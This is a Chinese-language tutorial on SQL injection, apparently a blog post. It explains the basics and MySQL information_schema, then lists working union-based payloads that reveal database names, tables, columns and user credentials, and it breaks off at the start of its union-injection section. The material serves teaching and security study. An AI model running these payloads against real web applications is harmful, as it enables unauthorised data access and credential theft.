SQL注入各种注入原理|绕过技巧|带实例详解|

一.SQL注入

SQL注入各种注入原理|绕过技巧|带实例详解|_第1张图片

SQL注入各种注入原理|绕过技巧|带实例详解|_第2张图片

文章目录

  • 一.SQL注入
    • 1.介绍sql注入
    • 2.SQL注入的原理
    • 3.与mysql注入相关的知识点
    • 4.Union(联合)注入攻击详解
    • 字符型union注入
    • 5.Boolean(布尔盲注)注入攻击详解
    • 6.报错注入攻击详解(报错注入只显示一条结果,通常要使用limit)
    • 7.时间注入攻击
    • 8.堆叠查询注入攻击
    • 9.二次注入攻击
    • 10.宽字节注入攻击
    • 11.cookie注入攻击
    • 12.base64注入攻击
    • 13.XFF注入攻击
  • 2.SQL注入绕过技术
    • 1.大小写绕过注入
    • 2.双写绕过注入
    • 3.编写绕过注入
    • 4.内联注释绕过注入
    • 5.sql注入修复建议
      • (1)过滤危险字符
      • (2)使用预编译语句

1.介绍sql注入

SQL注入就是web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作

2.SQL注入的原理

SQL注入需要满足两个条件:

  • 参数用户可控:前端传给后端的参数内容是用户可以控制的
  • 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询

传入的ID参数为1’时,数据库执行代码如下:

select * from users where id =1'

这条语句不符合数据库的规范,所以会报错。

传入的ID参数为and 1=1 时,数据库执行代码如下:

select * from users where id =1 and 1=1 

因为1=1的条件为真,并且where语句中id=1 也为真。所以放回的结果与id=1相同

传入的ID参数为and 1=2 时,数据库执行代码如下:

select * from users where id =1 and 1=2

因为1=2的条件为假,所以放回的结果与id=1不相同

所以,用上述所用的方法进行简单sql漏洞存在测试。

3.与mysql注入相关的知识点

在MySQL5.0版本后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,我们只需要记住三个表名即可:schemata、tables、columns

数据库名:table_schema 表名 : table_name 字段名:column_name

mysql 查询语句简单用法

在不知道任何条件的情况下,查询语句如下:

select 要查询的字段名 from 库名.表名
例如:
select username  from  sql.user 

在知道一条已知条件下,查询语句如下:

select 要查询的字段名 from 库名.表名 where 已知条件的字段名='已知条件的值'

在知道两条已知条件下,查询语句如下:

select 要查询的字段名 from 库名.表名 where 已知条件1的字段名='已知条件1的值' 
and 已知条件2的字段名='已知条件2的值' 

limit的用法:

limit的使用格式为limit m,n, 其中m是指记录开始的位置,从0开始,表示第一条记录;n是指取n条记录。例如limit 0,1 表示从第一天记录开始,取一条记录。

注释符:

在MySQL中,常见注释符的表示方式为:
# 或--空格或/**/

内联注释

内联注释的形式 :
/*!code*/

内联注释可以用于整个sql语句中,用来执行我们的sql语句,下面举一个例子

index.php?id=-15 /*!UNION*/ 1,2,3

开始搜集数据库中的数据,常见的信息搜集有:


system_user()     系统用户名
user()            MYSQL用户名 
current_user()    当前用户名
session_user()    连接数据库的用户名
database()        当前数据库名
schema()          当前数据库名
version()         当前数据库版本信息
@@version
load_file()       MYSQL读取本地文件
into outfile 或者 into dumpfile  导出函数
@@datadir         Location of DB files
@@hostname        服务器主机名
@@basedir         MYSQL 安装路径
@@version_compile_os    操作系统

简单的测试一下常见的信息

# 查询数据库名
?id=0' union select 1, database(), 3%23

# 查询数据库版本
?id=0' union select 1, version(), 3%23

# 查询数据库用户
?id=0' union select 1, user(), 3%23

#数据库路径
?id=0' union select 1, @@datadir, 3%23

# 操作系统版本
?id=0' union select 1, @@version_compile_os, 3%23

# 查询所有的数据库名
# SELECT GROUP_CONCAT(schema_name) FROM information_schema.SCHEMATA
id=0' union select 1, 2, group_concat(schema_name) from information_schema.schemata%23

# 查询某个数据库的数据表名
# SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()
?id=0' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='security' --+
?id=0' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+ # hex编码

# 查询某个数据库的某个表的字段名
# SELECT GROUP_CONCAT(column_name) FROM information_schema.columns where table_schema='security' and table_name='users'
?id=0' union SELECT 1, 2, GROUP_CONCAT(column_name) FROM information_schema.columns where table_schema='security' and table_name='users' --+

# 查询数据表的数据
?id=0' union select 1, 2, group_concat(id, username, password) from security.users --+

#有时候只会回显一个数据
需要将
?id=1'  
改成  
?id=0' 或者 -1

4.Union(联合)注入攻击详解

联合查询注入是回显注入的一种,也可以说联合注入的前提是,页面上要有回显位, 在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫回显位。

(1

你可能感兴趣的:(渗透笔记,web安全,sql注入,web漏洞)